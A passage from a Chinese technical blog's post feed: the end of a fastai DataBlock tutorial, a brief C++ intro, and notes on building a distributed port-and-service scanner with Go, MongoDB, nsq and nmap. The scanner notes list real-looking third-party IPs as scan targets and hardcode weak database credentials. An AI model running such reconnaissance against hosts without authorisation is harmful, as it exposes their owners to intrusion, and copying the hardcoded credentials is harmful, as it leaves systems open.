dblock.datasets(path/"images")dsets.train[0]</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/image-20230905094558815.png" alt="image-20230905094558815"></p><p>这样的输出的train[0]就更为简单易懂了,输入为RGB图片,输出为类别下标1,我们可以通过<code>dsets.vocab</code> 来获取类别,这里1代表dog</p><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/image-20230905094855819.png" alt="image-20230905094855819"></p><blockquote><p>接下来的是一些进一步的优化和展示。</p></blockquote><p><code>splitter</code> 表示对数据集中验证集的划分,这里是随机划分。</p><p><code>item_tfms</code> 代表对X的处理,这里将他们的size都设置为224x224</p><pre><code class="python">dblock = DataBlock(blocks = (ImageBlock, CategoryBlock), get_items = get_image_files, get_y = label_func, splitter = RandomSplitter(), item_tfms = Resize(224))</code></pre><p>使用show_bach可以方便的查看数据集</p><pre><code class="python">dls = dblock.dataloaders(path/"images")dls.show_batch()</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/image-20230905095126401.png" alt="image-20230905095126401"></p><p>总结一下,我们可以通过回答下列的问题来构建一个datablock:</p><ul><li>输入(X)/目标(Y)的类型分别是什么? 上文例子中为 图片/类别。</li><li>数据在哪里? 这里的输入来自一个文件夹</li><li>有无必要在数据输入时做一些处理?这里没有做任何处理</li><li>有无必要对目标(Y)做一些处理?这里 使用 <code>label_func</code> </li><li>如何划分训练集和验证集?这里使用的是随机划分。</li><li>需要对样本进行格式统一操作吗? 这里图片大小不一致,使用<code>resize</code> 进行调整。</li><li>需要对batches进行统一处理吗? 这里不需要。</li></ul><h3 id="3-2-MINST数据集"><a href="#3-2-MINST数据集" class="headerlink" title="3.2 MINST数据集"></a>3.2 MINST数据集</h3><blockquote><p>接下来将使用MNIST_TINY手写数据集进行学习,这个数据集中包含一些数字3和7的手写图片</p></blockquote><p>首先看一下要使用的数据集目录结构, mnist_tiny下已经划分好了训练集验证集和测试集。</p><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/image-20230905101020012.png" alt="image-20230905101020012"></p><p>三个数据集目录下有两个子目录3 和7 代表两个数字的图片集。</p><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/image-20230905100507398.png" alt="image-20230905100507398"></p><blockquote><p>如何构建DataBlock?</p></blockquote><p>首先,输入的图片并不是RGB图片而是黑白图片,因此要指定ImageBlock的类别为<code> cls=PILImageBW</code>。</p><p>如何获取图片标签? 这里图片所在的目录即为类别,可以通过<code>get_y=parent_label</code>来获取。</p><p>如何划分数据集? 这里数据集已经分好类了,图片的上两级目录(grandparent ,或者说父目录的父目录)即为不同的数据集<code>splitter=GrandparentSplitter()</code>。</p><p>如一张图片目录为 <code>train/3/9932.png</code> , 其parent 即为3,其grandparent即为train。</p><pre><code class="python">mnist = DataBlock(blocks=(ImageBlock(cls=PILImageBW), CategoryBlock), get_items=get_image_files, splitter=GrandparentSplitter(), get_y=parent_label)</code></pre><p>构造完成后,可以查看一下具体的内容</p><pre><code class="python">dls = mnist.dataloaders(untar_data(URLs.MNIST_TINY))dls.show_batch(max_n=9, figsize=(4,4))</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/image-20230905101648053.png" alt="image-20230905101648053"></p><p>也可以通过<code>summary</code>看看构造的具体过程</p><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/image-20230905101900079.png" alt="image-20230905101900079"></p><h3 id="3-4-Oxford-IIIT-Pets-dataset-数据集-多分类-标签处理"><a href="#3-4-Oxford-IIIT-Pets-dataset-数据集-多分类-标签处理" class="headerlink" title="3.4 Oxford IIIT Pets dataset 数据集(多分类+标签处理)"></a>3.4 Oxford IIIT Pets dataset 数据集(多分类+标签处理)</h3><p>我们一开始用的数据集就是这个,不过刚才只关注猫狗的二分类,实际上这个数据集 共有37种不同的类别。</p><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/image-20230905102611381.png" alt="image-20230905102611381"></p><p>图片的格式为 品种_序号.jpg ,其中品种可能有多个单词,也使用 _ 进行分割。大小写分别代表猫和狗。</p><blockquote><p>如何构造DataBlock?</p></blockquote><p>比较难的点在于获取标签,使用如下代码来获取</p><p><code> get_y=Pipeline([attrgetter("name"), RegexLabeller(pat = r'^(.*)_\d+.jpg$')]),</code></p><p>首先调用artrgetter来获取 输入的<code>Path</code> 的<code>name</code>的值(即文件名)。</p><p>然后调用RegexLabeller(正则匹配)对这个值进行处理,最后获取类别。</p><p>最后使用PipeLine方法来将这两个处理合并。</p><pre><code class="python">pets = DataBlock(blocks=(ImageBlock, CategoryBlock), get_items=get_image_files, splitter=RandomSplitter(), get_y=Pipeline([attrgetter("name"), RegexLabeller(pat = r'^(.*)_\d+.jpg$')]), item_tfms=Resize(128), batch_tfms=aug_transforms())</code></pre><h3 id="3-5-Pascal-多标签分类"><a href="#3-5-Pascal-多标签分类" class="headerlink" title="3.5 Pascal (多标签分类)"></a>3.5 Pascal (多标签分类)</h3><blockquote><p>加载</p></blockquote><pre><code class="python">pascal_source = untar_data(URLs.PASCAL_2007)df = pd.read_csv(pascal_source/"train.csv")</code></pre><p>图片中可能有多个标签(如骑马的图片中会有人 和马的标签)</p><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/image-20230905201506899.png" alt="image-20230905201506899"></p><blockquote><p>如何构造DataBlock?</p></blockquote><p>这里对DataBlock输入的是一个csv文件,我们可以根据其每行的数据来构造数据集。</p><pre><code class="python">pascal = DataBlock(blocks=(ImageBlock, MultiCategoryBlock), splitter=ColSplitter(), get_x=ColReader(0, pref=pascal_source/"train"), get_y=ColReader(1, label_delim=' '), item_tfms=Resize(224), batch_tfms=aug_transforms())dls = pascal.dataloaders(df)dls.show_batch()</code></pre><p>通过 <code> get_y=ColReader(1, label_delim=' '),</code>的label_delim来设置按空格分隔。</p><pre><code class="python">pascal = DataBlock(blocks=(ImageBlock, MultiCategoryBlock), splitter=ColSplitter(), get_x=lambda x:pascal_source/"train"/f'{x[0]}', get_y=lambda x:x[1].split(' '), item_tfms=Resize(224), batch_tfms=aug_transforms())</code></pre><p>通过使用lambda 表达式来更简洁的进行分割。</p><pre><code class="python">def _pascal_items(x): return ( f'{pascal_source}/train/'+x.fname, x.labels.str.split())valid_idx = df[df['is_valid']].index.valuespascal = DataBlock.from_columns(blocks=(ImageBlock, MultiCategoryBlock), get_items=_pascal_items, splitter=IndexSplitter(valid_idx), item_tfms=Resize(224), batch_tfms=aug_transforms())</code></pre><p>这个跟前两个不同的是,调用了DataBlock的<code>from_columns</code>方法来构造。</p><ol><li><p>通过使用自定义函数,该函数的输入为csv的行,我们可以根据列名字来访问成员,其返回值为(X,Y)。</p></li><li><p>通过<code>df[df['is_valid']].index.values</code> 获取了所有is_valid为True的下标用于验证集的划分。</p></li></ol><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/image-20230906164547318.png" alt="image-20230906164547318"></p><h3 id="3-6-图片定位"><a href="#3-6-图片定位" class="headerlink" title="3.6 图片定位"></a>3.6 图片定位</h3><p>图像定位类别中有各种问题:图像分割(这是一项必须预测图像中每个像素类别的任务)、坐标预测(预测图像上的一个或多个关键点)和目标检测(在要检测的对象周围画一个框)。</p><blockquote><p>图像分割</p></blockquote><p>将图片的所有像素进行分类。首先输入是一张正常的图片,输出则为对图片所有像素分好类的图片。</p><p>数据集的(X,Y)如下:</p><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/image-20230906170615340.png" alt="image-20230906170615340"></p><pre><code class="python">camvid = DataBlock(blocks=(ImageBlock, MaskBlock(codes = np.loadtxt(path/'codes.txt', dtype=str))), get_items=get_image_files, splitter=RandomSplitter(), get_y=lambda o: path/'labels'/f'{o.stem}_P{o.suffix}', batch_tfms=aug_transforms())</code></pre><p>首先是<code>MaskBlockMaskBlock(codes = np.loadtxt(path/'codes.txt', dtype=str)</code> 即我们的输出的像素的类别由codes.txt来定义。</p><p>获取Y的方法: <code>lambda o: path/'labels'/f'{o.stem}_P{o.suffix}',</code></p><p>图片的文件名为0001TP_006750.png ,输出的文件名为0001TP_006750_P.png ,f’{o.stem}_P{o.suffix} ‘即为</p><p>f’{0001TP_006750}_P{.jpg}’</p><blockquote><p>坐标预测</p></blockquote><pre><code class="python">biwi = DataBlock(blocks=(ImageBlock, PointBlock), get_items=get_image_files, splitter=RandomSplitter(), get_y=lambda o:fn2ctr[o.name].flip(0), batch_tfms=aug_transforms())</code></pre><p><code>get_y=lambda o:fn2ctr[o.name].flip(0)</code> 的作用是根据输入图像文件名,找到相应的目标坐标点,并进行翻转。这样,每个输入图像就有了与之相匹配的目标点,可以用于训练模型。</p><blockquote><p>目标检测</p></blockquote><p>这里使用的是COCO数据集, 它包含日常物品的图片,目的是通过在日常物品周围绘制矩形来预测日常物品的位置。</p><p>train.json对应了图片中的物品位置、物品类型</p><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/image-20230906184834404.png" alt="image-20230906184834404"></p><p>首先将其加载进来</p><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/image-20230906185037249.png" alt="image-20230906185037249"></p><p>img2bbox就是字典类型,key为文件名,Value就是图片中物品的位置、类型。这个字典后续用于标签的构造。</p><pre><code class="python">coco = DataBlock(blocks=(ImageBlock, BBoxBlock, BBoxLblBlock), get_items=get_image_files, splitter=RandomSplitter(), get_y=[lambda o: img2bbox[o.name][0], lambda o: img2bbox[o.name][1]], item_tfms=Resize(128), batch_tfms=aug_transforms(), n_inp=1)</code></pre><p>在block中有三个block,因为输出有box的坐标和box对应的类别,通过n_inp=1来说明输入截止的block(第一个)。</p><pre><code class="python">dls = coco.dataloaders(coco_source)dls.show_batch(max_n=9)</code></pre><blockquote><p>语言模型</p></blockquote><pre><code class="python">from fastai.text.all import *path = untar_data(URLs.IMDB_SAMPLE)df = pd.read_csv(path/'texts.csv')df.head()</code></pre><p>跟其他DataBlock不同的是,输入和输出几乎一致,因此这里只用了一个TextBlock</p><pre><code class="python">imdb_lm = DataBlock(blocks=TextBlock.from_df('text', is_lm=True), get_x=ColReader('text'), splitter=ColSplitter())</code></pre><pre><code class="python">dls = imdb_lm.dataloaders(df, bs=64, seq_len=72)dls.show_batch(max_n=6)</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/image-20230906201324027.png" alt="image-20230906201324027"></p><p>input[x]= output[x-1] ,用于训练预测下一个词,生成 文本。</p><blockquote><p>参考文章</p></blockquote>]]></content>
<categories>
<category> 人工智能 </category>
<category> FASTAI </category>
</categories>
<tags>
<tag> 深度学习 </tag>
<tag> FASTAI </tag>
</tags>
</entry>
<entry>
<title>C++入门</title>
<link href="/2023/01/10/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C++/C++%E5%85%A5%E9%97%A8/"/>
<url>/2023/01/10/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C++/C++%E5%85%A5%E9%97%A8/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h3 id="一个简单的实例"><a href="#一个简单的实例" class="headerlink" title="一个简单的实例"></a>一个简单的实例</h3><pre><code class="C++">#include <iostream> using namespace std; //int main(){ cout << "Hello, world!" << endl; return 0;}</code></pre><blockquote><p>#include <iostream> //当要使用其他已经编写好的函数的时候,使用include来包含头文件,头文件中包含已经编写好的函数声明,并且该头文件中的函数在其他地方被实现了,可以直接使用。</iostream></p><p>using namespace std; // 命名空间,同名的变量可以在不同的命名空间中,这样就不会造成各种库重复命名的冲突。std 是系统标准的命名空间,为了和用户定义的名字不重复,所以它声明在 std 这个命名空间中。另外,这个空间也像一个大包一样,包括了系统所有的支持。</p><p>如在命名空间xx和yy <strong>xx::a</strong> 和 <strong>yy::a</strong> 虽然都叫 a,但是不是同一个变量。</p><p>main是一个程序的主函数,是程序开始执行的地方。</p></blockquote><p><em><span id="more"></span></em> </p><blockquote><p>参考文章</p><p><a href="https://www.runoob.com/cplusplus/cpp-tutorial.html">https://www.runoob.com/cplusplus/cpp-tutorial.html</a></p></blockquote>]]></content>
<categories>
<category> 编程语言 </category>
<category> C++ </category>
</categories>
</entry>
<entry>
<title>分布式扫描器实现</title>
<link href="/2022/04/27/%E5%86%99%E7%82%B9%E5%A5%BD%E7%8E%A9%E7%9A%84/%E5%88%86%E5%B8%83%E5%BC%8F%E6%89%AB%E6%8F%8F%E5%99%A8%E5%AE%9E%E7%8E%B0/"/>
<url>/2022/04/27/%E5%86%99%E7%82%B9%E5%A5%BD%E7%8E%A9%E7%9A%84/%E5%88%86%E5%B8%83%E5%BC%8F%E6%89%AB%E6%8F%8F%E5%99%A8%E5%AE%9E%E7%8E%B0/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="分布式扫描器"><a href="#分布式扫描器" class="headerlink" title="分布式扫描器"></a>分布式扫描器</h2><blockquote><p>暂定技术栈</p></blockquote><p>前端: bootstrap JQuery</p><p>后端: Go</p><p>数据库 MongoDB<br>消息队列: nsq</p><p>定时任务: 暂时使用循环+ sleep</p><p><img src="/2022/04/27/%E5%86%99%E7%82%B9%E5%A5%BD%E7%8E%A9%E7%9A%84/%E5%88%86%E5%B8%83%E5%BC%8F%E6%89%AB%E6%8F%8F%E5%99%A8%E5%AE%9E%E7%8E%B0/image-20220419105247096.png" alt="image-20220419105247096"></p><p><em><span id="more"></span></em> </p><blockquote><p>先写一下要达成的效果</p></blockquote><p>用户提交任务: <a href="http://www.xxx.com,www.ddd.com/">www.xxx.com,www.ddd.com</a>, 等一系列IP域名地址、</p><p>客户端在MongoDB中初始化一个task,若MongoDB中记录当前无其他task,则将本task设为运行中,将IP、域名等信息插入到task中,每一个IP、域名。</p><p>调度器每5秒查询一次MongoDB,若有正在运行中的任务,且消息队列还没有排满,则从task中取出一定数量的子任务, 处理成消息的格式放入消息队列中。</p><p>执行器从消息队列中取出子任务,执行完成后,将数据更新到MongoDB的task中。</p><pre><code class="json">taskUID : string{ task_total : int task_waiting : int task_runned : int task_running : int task_domain: { 需要进行子域名扫描, 子域名扫描完成后进行IP解析,将解析的IP:domain写入到task_IP中 domain_total : int domain_running : int domain_runned : int domain1: { subdomain_task_status: (等待中、运行中、运行完毕) subdomain_info {subdomain:IP} } domain1: subdomain_task_status (等待中、运行中、运行完毕) } task_IP :{ 进行端口扫描、指纹识别,将识别到的web协议资产加入到task_web中,其他加入到task_other中 IP_total IP_running IP_runned IP1 :{ task_status(等待中、运行中、运行完成) task_openportanservice(开启的端口服务与指纹) task_domainbind [domain1 domain2](IP绑定的子域名) } } task_WEB:{ web1{ web_URL scan_status } } }</code></pre><h3 id="MongoDB补充"><a href="#MongoDB补充" class="headerlink" title="MongoDB补充"></a>MongoDB补充</h3><blockquote><p>清空集合数据</p></blockquote><p>db.xxx.remove({})</p><blockquote><p>设置集合主键</p></blockquote><pre><code>db.xxx.createIndex( { "ip_host": 1 }, { unique: true } )</code></pre><p>docker exec -it mongo mongo admin</p><p>db.auth(“admin”,”qwrdxer”)</p><p>use myscan</p><p>db.task1_ip.insertMany([{<br> ip_scan_status: 0,<br> ip_host: “220.130.181.152”<br>},<br>{<br> ip_scan_status: 0,<br> ip_host: “140.122.149.12”<br>},<br>{<br> ip_scan_status: 0,<br> ip_host: “114.25.138.78”<br>}])</p><h3 id="MongoDB设计如下"><a href="#MongoDB设计如下" class="headerlink" title="MongoDB设计如下"></a>MongoDB设计如下</h3><p>库名: myscan</p><p>db.createCollection(task1_ip)</p><p>每增加一个任务,都需要创建一个集合,并将该集合的名字记录在ScanStatus 的querylist表中</p><p>集合: ScanTask_name_ip 、ScanStatus</p><p>ScanTask_name_ip: 存放任务的ip</p><p>使用db.task1_ip.insertMany()可一次性插入多个IP</p><pre><code class="json">db.task1_ip.insertMany([{ ip_scan_status: 0, ip_host: "220.130.181.152"},{ ip_scan_status: 0, ip_host: "140.122.149.12"},{ ip_scan_status: 0, ip_host: "114.25.138.78"},{ ip_scan_status: 0, ip_host: "35.201.212.100"},{ ip_scan_status: 0, ip_host: "203.69.15.226"},{ ip_scan_status: 0, ip_host: "122.117.147.95"},{ ip_scan_status: 0, ip_host: "219.71.199.26"},{ ip_scan_status: 0, ip_host: "59.126.205.82"},{ ip_scan_status: 0, ip_host: "35.194.147.80"},{ ip_scan_status: 0, ip_host: "123.0.63.235"},{ ip_scan_status: 0, ip_host: "140.122.53.205"},{ ip_scan_status: 0, ip_host: "140.122.53.161"},{ ip_scan_status: 0, ip_host: "163.21.180.18"},{ ip_scan_status: 0, ip_host: "203.64.208.70"},{ ip_scan_status: 0, ip_host: "163.21.180.180"},{ ip_scan_status: 0, ip_host: "163.18.23.135"}])</code></pre><p>db.task1_ip.insertMany({<br> ip_scan_status: 0,<br> ip_host: “220.130.181.152”<br>})</p><p>修改某个ip的运行状态</p><pre><code class="json">db.scan1_ip.updateOne({ip_host: "121.5.73.12"},{"$set":{ip_scan_status:2}})</code></pre><p>查看指定状态的所有IP</p><pre><code class="json">db.scan1_ip.find({"ip_scan_status":0})</code></pre><p>ip扫描结果格式</p><pre><code class="json">[{ openport:80, protocol:"http" },{ openport:22, protocol:"ssh" },{ openport:6379, protocol:"redis" }]</code></pre><p>将扫描结果写入到MongoDB中</p><pre><code class="json">db.task1_ip.updateOne({ip_host: "121.5.73.14"},{"$set":{"ip_openport":[{ openport:8080, protocol:"http" },{ openport:22, protocol:"ssh" },{ openport:6379, protocol:"redis" },{ openport:7171, protocol:"http" }]}})</code></pre><p>查询有http协议的ip</p><pre><code class="json">db.scan1_ip.find({"ip_openport.protocol":"http"})</code></pre><p>查询有http协议的ip,只要带http的端口</p><pre><code class="javascript">cursor.forEach(function(x){ x.ip_openport.forEach(function(arr,index){ print(arr.openport) })})db.task1_ip.find({"ip_openport.protocol":"http"}).forEach(function(x){ var iphost=x.ip_host x.ip_openport.forEach(function(arr,index){ if(arr.protocol=="http"){ print(iphost+":"+arr.port) iphost=x.ip_host } })})</code></pre><p>输出结果如下 ,可以将http字符串替换成任意协议,输出都为ip_端口</p><p>121.5.73.12:80 </p><p>121.5.73.14:8080 </p><p>121.5.73.14:7171 </p><p>taskname_domain</p><h3 id="go语言操控MongoDB"><a href="#go语言操控MongoDB" class="headerlink" title="go语言操控MongoDB"></a>go语言操控MongoDB</h3><p><a href="https://blog.csdn.net/opeak/article/details/102544280/">https://blog.csdn.net/opeak/article/details/102544280/</a></p><p><a href="https://wenku.baidu.com/view/347a637e322b3169a45177232f60ddccda38e69f.html">https://wenku.baidu.com/view/347a637e322b3169a45177232f60ddccda38e69f.html</a></p><blockquote><p>连接至MongoDB</p></blockquote><pre><code class="go">const ( MongoDBHosts = "121.5.73.12:27017" AuthDatabase = "admin" AuthUserName = "admin" AuthPassword = "123456" MaxCon = 300)func main() { mongoDBDialInfo := &mgo.DialInfo{ Addrs: []string{MongoDBHosts}, Timeout: 60 * time.Second, Database: AuthDatabase, Username: AuthUserName, Password: AuthPassword, } session, err := mgo.DialWithInfo(mongoDBDialInfo) if err != nil { log.Fatalf("CreateSession failed:%n", err) } //设置连接池的大小 session.SetPoolLimit(MaxCon) defer session.Close() cloneSession := session.Clone()}</code></pre><p>创建了一个连接池,当需要对MongDB进行操作时,只需</p><p>cloneSession := session.Clone() 即可获取到一个session </p><blockquote><p>获取一条记录</p></blockquote><p>首先要根据文档的格式定义好结构体</p><p>JSON转GO结构体</p><pre><code class="go">type IP_result struct { ID bson.ObjectId `bson:"_id,omitempty"` //类型是bson.ObjectId IPScanStatus int `bson:"ip_scan_status"` IPHost string `bson:"ip_host"` IPOpenport []GoIPOpenport `bson:"ip_openport"` BindDomain []string `bson:"binddomain"`}type GoIPOpenport struct { Openport int `bson:"openport"` Protocol string `bson:"protocol"`}</code></pre><p>注意:</p><ol><li>标签为BSON格式</li><li>结构体中成员必须大写,否则无法被其他包访问导致值为空</li><li>要加上ID属性</li></ol><p>测试获取一条数据</p><pre><code class="go"> c := cloneSession.DB("myscan").C("task1_ip") var v = IP_result{} c.Find(bson.M{"ip_host": "121.5.73.14"}).One(&v)</code></pre><p><img src="/2022/04/27/%E5%86%99%E7%82%B9%E5%A5%BD%E7%8E%A9%E7%9A%84/%E5%88%86%E5%B8%83%E5%BC%8F%E6%89%AB%E6%8F%8F%E5%99%A8%E5%AE%9E%E7%8E%B0/image-20220416160520256.png" alt="image-20220416160520256"></p><blockquote><p>更新文档 - 单个值</p></blockquote><p>更新ip扫描状态</p><pre><code class="go">c.Update(bson.M{"ip_host": "121.5.73.15"}, bson.M{"$set": bson.M{"ip_scan_status": 110}})</code></pre><blockquote><p>更新文档-列表</p></blockquote><p>对于不确定数量的列表,直接向bson.M中传入切片即可</p><pre><code class="go">c.Update(bson.M{"ip_host": "121.5.73.15"}, bson.M{"$set": bson.M{"openport": []int{11, 111, 22, 80, 3333}}})</code></pre><blockquote><p>更新文档-嵌套文档</p></blockquote><p>嵌套文档,传入的是键值对 ,本次的需求是向列表成员中插入不定数量的子文档</p><p>首先,对于确定数量的子文档,嵌套bson.M即可</p><pre><code class="go">data2 := bson.M{"openport": []bson.M{bson.M{"port": 80, "protocol": "https"}, bson.M{"port": 8080, "protocol": "http"}}}</code></pre><p>对于不确定数量的子文档,首先定义一个bson.M类型的切片,使用for循环赋值即可</p><p>其核心是将结构体转换成bson.M格式</p><pre><code class="go"> test3 := &GoIPOpenport{Openport: 80, Protocol: "https"} data3, _ := bson.Marshal(test3) mmap := bson.M{} bson.Unmarshal(data3, mmap)</code></pre><h3 id="IP扫描任务-将-端口-指纹写入MongoDB中-单机模式"><a href="#IP扫描任务-将-端口-指纹写入MongoDB中-单机模式" class="headerlink" title="IP扫描任务: 将 端口+指纹写入MongoDB中(单机模式)"></a>IP扫描任务: 将 端口+指纹写入MongoDB中(单机模式)</h3><p>单机模式的任务只有两种状态: 未扫描,扫描完成( 后续引入消息队列后还需要增加排队中、运行中的状态)</p><p>其核心逻辑如下:</p><ol><li>获取一个任务(单机直接从MongoDB中获取,后续的分布式需要从消息队列中获取)</li><li>执行任务</li><li>上传数据,更新该任务状态</li></ol><blockquote><p>端口扫描结果为字符串切片,使用strings.Join 转成字符串格式进行nmap指纹识别</p></blockquote><pre><code class="go">res:=strings.Join(p.openPort,",")</code></pre><blockquote><p>nmap扫描结果如下</p></blockquote><pre><code class="go">PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)25/tcp closed smtp53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux)80/tcp open http Apache httpd 2.4.41 ((Ubuntu))110/tcp closed pop3111/tcp open rpcbind 2-4 (RPC #100000)3306/tcp open mysql MySQL 5.7.36Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 15.71 seconds</code></pre><p>使用如下代码提取出nmap结果中的协议和端口</p><pre><code class="go"> var res = "Starting Nmap 7.70 ( https://nmap.org ) at 2022-04-17 11:42 ?D1ú±ê×?ê±??\nNmap scan report for \nHost is up (0.063s latency).\n\nPORT STATE SERVICE VERSION\n22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)\n25/tcp closed smtp\n53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux)\n80/tcp open http Apache httpd 2.4.41 ((Ubuntu))\n110/tcp closed pop3\n111/tcp open rpcbind 2-4 (RPC #100000)\nService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel\n\nService detection performed. Please report any incorrect results at https://nmap.org/submit/ .\nNmap done: 1 IP address (1 host up) scanned in 15.48 seconds\n" var res1 = strings.Split(res, "\n") reg := regexp.MustCompile("^[0-9.]+/(?:tcp|udp)(.*)") for _, infos := range res1 { status := reg.FindAllString(infos, -1) if status != nil { info := strings.Fields(infos) fmt.Println(info[2]) } }</code></pre><p>具体的ip扫描逻辑如下</p><ol><li>从MongoDB中读取到一条状态为0 的任务</li><li>取出IP</li><li>扫描端口指纹</li><li>结果解析成BSON格式</li><li>将IP的指纹和端口更新到MongDB中</li><li>将该IP状态设置为扫描成功</li></ol><pre><code class="go">func main() { var conn mongodb.MongoPool conn.Init() defer conn.CloseSession() session := conn.GetSession() defer session.Close() c := session.DB("myscan").C("task1_ip") var task1 ipscan.IPScanTask var v = IP_result{} for{ c.Find(bson.M{"ip_scan_status": 0}).One(&v) var target=v.IPHost task1.Init(target) var bonsres=task1.Scan() c.Update(bson.M{"ip_host": target},bson.M{"$set":bson.M{"ip_openport":bonsres}}) c.Update(bson.M{"ip_host": target}, bson.M{"$set": bson.M{"ip_scan_status": 1}}) }}</code></pre><h3 id="分布式-调度器Monitor"><a href="#分布式-调度器Monitor" class="headerlink" title="分布式-调度器Monitor"></a>分布式-调度器Monitor</h3><blockquote><p> 先看看调度器要实现的功能:</p></blockquote><p>调度器首先要确定当前是否有任务在运行,若没有则从排队中的任务中取出一个设置为运行中</p><p>因此要在mongDB中创建一个集合task_status,其存储的文档格式如下</p><pre><code class="json">{ task_name:"taskname", task_status:0}</code></pre><p>task_name 就是任务的名字,需要从客户端中进行任务创建</p><p>task_status 为任务的状态,一共有三种状态</p><ol><li>值为0 ,标识任务刚刚初始化</li><li>值为1 ,标识任务正在运行</li><li>值为2 ,标识任务已完成</li></ol><p>需要用到如下MongoDB语句</p><pre><code class="go">c := session.DB("myscan").C("task_status")//更新任务状态c.Update(bson.M{"task_name": taskname}, bson.M{"$set": bson.M{"task_status": 1}})//新增一个任务c.Insert(bson.M{"task_name":taskname,"task_status":0})//顺序查找一个状态为0任务c.Find(bson.M{"task_status": 0}).Sort("time:-1").One(&v)</code></pre><p>若当前有任务在运行,则根据任务定位到MongDB子任务集合中:</p><ol><li>取出状态为0的子任务</li><li>将其加入写入到消息队列中</li><li>将子任务状态设置为2(排队中)</li></ol><h3 id="nsq"><a href="#nsq" class="headerlink" title="nsq"></a>nsq</h3><p>官方文档如下</p><p><a href="https://nsq.io/">https://nsq.io/</a></p><ol><li><p>follow the instructions in the <a href="https://nsq.io/deployment/installing.html">INSTALLING</a> doc.</p></li><li><p>in one shell, start <code>nsqlookupd</code>: 这相当于一个管理员</p><pre><code class="shell">$ nsqlookupd</code></pre></li><li><p>in another shell, start <code>nsqd</code>: 这是用来消息发送 ,若在公网中搭建需要制定broadcast-adddress为公网IP</p><pre><code class="shell">$ nsqd --lookupd-tcp-address=127.0.0.1:4160 -broadcast-address xxx.xxx.xxx.xxx</code></pre><p>NOTE: if your system hostname does not resolve to <code>127.0.0.1</code> then add <code>--broadcast-address=127.0.0.1</code></p></li><li><p>in another shell, start <code>nsqadmin</code>: 这是用来管理的web界面</p><pre><code class="shell">$ nsqadmin --lookupd-http-address=127.0.0.1:4161</code></pre></li><li><p>publish an initial message (creates the topic in the cluster, too): 发送一条测试消息</p><pre><code class="shell">$ curl -d 'hello world 1' 'http://127.0.0.1:4151/pub?topic=test'</code></pre></li></ol><h3 id="go操控nsq"><a href="#go操控nsq" class="headerlink" title="go操控nsq"></a>go操控nsq</h3><p><a href="https://www.cnblogs.com/binHome/p/12006392.html">https://www.cnblogs.com/binHome/p/12006392.html</a></p><blockquote><p>消息发送测试代码</p></blockquote><pre><code class="go">package mainimport ( "bufio" "fmt" "github.com/nsqio/go-nsq" "os" "strings")// NSQ Producer Demo// 定义nsq生产者var producer *nsq.Producer// 初始化生产者func initProducer(str string) (err error) { // 创建配置信息 config := nsq.NewConfig() // 初始化生产者 str传入ip:端口 producer, err = nsq.NewProducer(str, config) if err != nil { fmt.Printf("create producer failed, err:%v\n", err) return err } // 测试生产者是否有效 err = producer.Ping() if err != nil{ fmt.Printf("No ping,err:%v\n",err) producer.Stop() //关闭生产者 } return nil}func main() { nsqAddress := 